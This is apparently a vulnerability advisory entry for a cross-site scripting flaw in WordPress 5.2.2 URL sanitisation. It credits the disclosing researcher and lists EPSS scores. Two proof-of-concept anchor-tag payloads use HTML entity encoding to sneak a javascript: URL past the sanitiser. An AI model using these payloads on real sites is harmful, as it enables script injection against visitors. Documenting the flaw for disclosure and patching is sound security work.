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wpexploitRyan DewhurstWPEX-ID:4494A903-5A73-4CAD-8C14-1E7B4DA2BE61
HistorySep 05, 2019 - 12:00 a.m.

WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation

2019-09-0500:00:00
Ryan Dewhurst
56

EPSS

0.005

Percentile

77.6%

According to the WordPress release notes: “Props to Soroush Dalili (@irsdl) from NCC Group for disclosing an issue with URL sanitization that can lead to cross-site scripting (XSS) attacks.”

Thanks to @irsdl's Hacker1 disclosure:

<a href="javascript&#58alert(document.domain)">JS - Numerical Entities</a>
<a href="javascript&#x3ax=1;alert(document.domain)">JS - Hex Entities</a>

EPSS

0.005

Percentile

77.6%